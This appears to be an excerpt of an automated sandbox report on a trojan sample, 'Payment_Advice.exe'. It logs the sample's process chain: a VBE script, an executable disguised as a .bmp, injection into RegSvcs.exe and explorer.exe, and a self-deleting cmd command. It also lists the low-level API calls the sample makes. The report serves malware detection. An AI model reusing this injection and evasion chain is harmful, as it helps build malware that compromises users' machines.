Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A2DB NtCreateFile,	14_2_0041A2DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A3CA NtReadFile,	14_2_0041A3CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712B60 NtClose,LdrInitializeThunk,	14_2_01712B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	14_2_01712BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712AD0 NtReadFile,LdrInitializeThunk,	14_2_01712AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712D30 NtUnmapViewOfSection,LdrInitializeThunk,	14_2_01712D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712D10 NtMapViewOfSection,LdrInitializeThunk,	14_2_01712D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712DF0 NtQuerySystemInformation,LdrInitializeThunk,	14_2_01712DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712DD0 NtDelayExecution,LdrInitializeThunk,	14_2_01712DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712C70 NtFreeVirtualMemory,LdrInitializeThunk,	14_2_01712C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712CA0 NtQueryInformationToken,LdrInitializeThunk,	14_2_01712CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712F30 NtCreateSection,LdrInitializeThunk,	14_2_01712F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712FE0 NtCreateFile,LdrInitializeThunk,	14_2_01712FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712FB0 NtResumeThread,LdrInitializeThunk,	14_2_01712FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712F90 NtProtectVirtualMemory,LdrInitializeThunk,	14_2_01712F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	14_2_01712EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712E80 NtReadVirtualMemory,LdrInitializeThunk,	14_2_01712E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01714340 NtSetContextThread,	14_2_01714340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01714650 NtSuspendThread,	14_2_01714650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712BE0 NtQueryValueKey,	14_2_01712BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712BA0 NtEnumerateValueKey,	14_2_01712BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712B80 NtQueryInformationFile,	14_2_01712B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712AF0 NtWriteFile,	14_2_01712AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712AB0 NtWaitForSingleObject,	14_2_01712AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712D00 NtSetInformationFile,	14_2_01712D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712DB0 NtEnumerateKey,	14_2_01712DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712C60 NtCreateKey,	14_2_01712C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712C00 NtQueryInformationProcess,	14_2_01712C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712CF0 NtOpenProcess,	14_2_01712CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712CC0 NtQueryVirtualMemory,	14_2_01712CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712F60 NtCreateProcessEx,	14_2_01712F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712FA0 NtQuerySection,	14_2_01712FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712E30 NtWriteVirtualMemory,	14_2_01712E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01712EE0 NtQueueApcThread,	14_2_01712EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01713010 NtOpenDirectoryObject,	14_2_01713010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01713090 NtSetValueKey,	14_2_01713090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017135C0 NtCreateMutant,	14_2_017135C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_017139B0 NtGetContextThread,	14_2_017139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01713D70 NtOpenThread,	14_2_01713D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01713D10 NtOpenProcessToken,	14_2_01713D10
Source: C:\Windows\explorer.exe	Code function: 15_2_1069D232 NtCreateFile,	15_2_1069D232
Source: C:\Windows\explorer.exe	Code function: 15_2_1069EE12 NtProtectVirtualMemory,	15_2_1069EE12
Source: C:\Windows\explorer.exe	Code function: 15_2_1069EE0A NtProtectVirtualMemory,	15_2_1069EE0A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A564CA NtQueryInformationToken,	16_2_00A564CA
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A54823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	16_2_00A54823
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A5643A NtOpenThreadToken,NtOpenProcessToken,NtClose,	16_2_00A5643A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A67460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	16_2_00A67460
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A6C1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	16_2_00A6C1FA
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A6A135 NtSetInformationFile,	16_2_00A6A135
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A56500 NtQueryInformationToken,NtQueryInformationToken,	16_2_00A56500
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A44E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,	16_2_00A44E3B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A54759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,	16_2_00A54759
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2B60 NtClose,LdrInitializeThunk,	16_2_037C2B60
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2AD0 NtReadFile,LdrInitializeThunk,	16_2_037C2AD0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2F30 NtCreateSection,LdrInitializeThunk,	16_2_037C2F30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2FE0 NtCreateFile,LdrInitializeThunk,	16_2_037C2FE0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,	16_2_037C2EA0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2D10 NtMapViewOfSection,LdrInitializeThunk,	16_2_037C2D10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	16_2_037C2DF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2DD0 NtDelayExecution,LdrInitializeThunk,	16_2_037C2DD0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	16_2_037C2C70
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2C60 NtCreateKey,LdrInitializeThunk,	16_2_037C2C60
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2CA0 NtQueryInformationToken,LdrInitializeThunk,	16_2_037C2CA0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C35C0 NtCreateMutant,LdrInitializeThunk,	16_2_037C35C0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C4340 NtSetContextThread,	16_2_037C4340
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C4650 NtSuspendThread,	16_2_037C4650
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2BF0 NtAllocateVirtualMemory,	16_2_037C2BF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2BE0 NtQueryValueKey,	16_2_037C2BE0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2BA0 NtEnumerateValueKey,	16_2_037C2BA0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2B80 NtQueryInformationFile,	16_2_037C2B80
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2AF0 NtWriteFile,	16_2_037C2AF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2AB0 NtWaitForSingleObject,	16_2_037C2AB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2F60 NtCreateProcessEx,	16_2_037C2F60
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2FB0 NtResumeThread,	16_2_037C2FB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2FA0 NtQuerySection,	16_2_037C2FA0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2F90 NtProtectVirtualMemory,	16_2_037C2F90
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2E30 NtWriteVirtualMemory,	16_2_037C2E30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2EE0 NtQueueApcThread,	16_2_037C2EE0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2E80 NtReadVirtualMemory,	16_2_037C2E80
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2D30 NtUnmapViewOfSection,	16_2_037C2D30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2D00 NtSetInformationFile,	16_2_037C2D00
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2DB0 NtEnumerateKey,	16_2_037C2DB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2C00 NtQueryInformationProcess,	16_2_037C2C00
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2CF0 NtOpenProcess,	16_2_037C2CF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C2CC0 NtQueryVirtualMemory,	16_2_037C2CC0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C3010 NtOpenDirectoryObject,	16_2_037C3010
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C3090 NtSetValueKey,	16_2_037C3090
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C39B0 NtGetContextThread,	16_2_037C39B0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C3D70 NtOpenThread,	16_2_037C3D70
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C3D10 NtOpenProcessToken,	16_2_037C3D10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6A3D0 NtReadFile,	16_2_02B6A3D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6A320 NtCreateFile,	16_2_02B6A320
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6A450 NtClose,	16_2_02B6A450
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6A2DB NtCreateFile,	16_2_02B6A2DB
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6A3CA NtReadFile,	16_2_02B6A3CA

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_00506FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00506FAA

Source: Payment_Advice.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@105/31@10/8

Source: C:\Users\user\Desktop\Payment_Advice.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_00506C74 GetLastError,FormatMessageW,

0_2_00506C74

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_0051A6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_0051A6C2

Source: Payment_Advice.exe	ReversingLabs: Detection: 44%
Source: Payment_Advice.exe	Virustotal: Detection: 48%

Source: C:\Users\user\Desktop\Payment_Advice.exe

File read: C:\Users\user\Desktop\Payment_Advice.exe

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Payment_Advice.exe C:\Users\user\Desktop\Payment_Advice.exe
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\pis-e.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ewdbwwfpdh.bmp fjrpidauk.jpg
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp ewdbwwfpdh.bmp fjrpidauk.jpg
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Payment_Advice.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\pis-e.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ewdbwwfpdh.bmp fjrpidauk.jpg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp ewdbwwfpdh.bmp fjrpidauk.jpg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001D194F AdjustTokenPrivileges,CloseHandle,		6_2_001D194F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001D1F53 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_001D1F53

Source: C:\Users\user\Desktop\Payment_Advice.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001F4089 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

6_2_001F4089

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001E5B27 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_001E5B27

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001DDC9C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,

6_2_001DDC9C

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1568:120:WilError_03

Source: C:\Users\user\Desktop\Payment_Advice.exe	Command line argument: sfxname	0_2_0051DF1E
Source: C:\Users\user\Desktop\Payment_Advice.exe	Command line argument: sfxstime	0_2_0051DF1E
Source: C:\Users\user\Desktop\Payment_Advice.exe	Command line argument: STARTDLG	0_2_0051DF1E
Source: C:\Users\user\Desktop\Payment_Advice.exe	Command line argument: xzU	0_2_0051DF1E

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Payment_Advice.exe

Static file information: File size 1131860 > 1048576

Source: Payment_Advice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Payment_Advice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Payment_Advice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Payment_Advice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Payment_Advice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Payment_Advice.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Payment_Advice.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Payment_Advice.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: Payment_Advice.exe
Source:	Binary string: RegSvcs.pdb, source: explorer.exe, 0000000F.00000002.3891932584.00000000122AF000.00000004.80000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3842961223.0000000002FD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3848016870.0000000003C9F000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 0000000E.00000002.1648193337.00000000016A0000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000003.1648028584.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000003.1649872985.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.0000000003750000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.00000000038EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: RegSvcs.exe, 0000000E.00000002.1648104707.0000000001640000.00000040.10000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3842017169.0000000000A40000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 0000000E.00000002.1648193337.00000000016A0000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, cmd.exe, 00000010.00000003.1648028584.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000003.1649872985.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.0000000003750000.00000040.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3844385329.00000000038EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: explorer.exe, 0000000F.00000002.3891932584.00000000122AF000.00000004.80000000.00040000.00000000.sdmp, cmd.exe, 00000010.00000002.3842961223.0000000002FD4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.3848016870.0000000003C9F000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: cmd.pdb source: RegSvcs.exe, 0000000E.00000002.1648104707.0000000001640000.00000040.10000000.00040000.00000000.sdmp, cmd.exe, cmd.exe, 00000010.00000002.3842017169.0000000000A40000.00000040.80000000.00040000.00000000.sdmp

Source: Payment_Advice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Payment_Advice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Payment_Advice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Payment_Advice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Payment_Advice.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051F640 push ecx; ret	0_2_0051F653
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: 0_2_0051EB78 push eax; ret	0_2_0051EB96
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_001C0330 push edi; ret	6_2_001C0333
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_00190E06 push ecx; ret	6_2_00190E19
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: 6_2_0018DBFE push eax; iretd	6_2_0018DC01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00417191 push ebp; retf	14_2_004171B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_004169B2 push cs; iretd	14_2_00416AB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040E270 push 38B96F61h; retf	14_2_0040E287
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00416A2C push cs; iretd	14_2_00416AB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041D475 push eax; ret	14_2_0041D4C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0040E422 push FFFFFFC1h; retf	14_2_0040E42A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041D4C2 push eax; ret	14_2_0041D4C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041D4CB push eax; ret	14_2_0041D532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041D52C push eax; ret	14_2_0041D532
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00416ED7 pushad ; iretd	14_2_00416EDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041DF7D push dword ptr [F81DAF74h]; ret	14_2_0041E493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016A225F pushad ; ret	14_2_016A27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016A27FA pushad ; ret	14_2_016A27F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016D09AD push ecx; mov dword ptr [esp], ecx	14_2_016D09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016A283D push eax; iretd	14_2_016A2858
Source: C:\Windows\explorer.exe	Code function: 15_2_1019A9B5 push esp; retn 0000h	15_2_1019AAE7
Source: C:\Windows\explorer.exe	Code function: 15_2_1019AB1E push esp; retn 0000h	15_2_1019AB1F
Source: C:\Windows\explorer.exe	Code function: 15_2_1019AB02 push esp; retn 0000h	15_2_1019AB03
Source: C:\Windows\explorer.exe	Code function: 15_2_106A0B02 push esp; retn 0000h	15_2_106A0B03
Source: C:\Windows\explorer.exe	Code function: 15_2_106A0B1E push esp; retn 0000h	15_2_106A0B1F
Source: C:\Windows\explorer.exe	Code function: 15_2_106A09B5 push esp; retn 0000h	15_2_106A0AE7
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A571ED push ecx; ret	16_2_00A57200
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_00A5722B push ecx; ret	16_2_00A5723E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0375225F pushad ; ret	16_2_037527F9
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037527FA pushad ; ret	16_2_037527F9
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037809AD push ecx; mov dword ptr [esp], ecx	16_2_037809B6

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

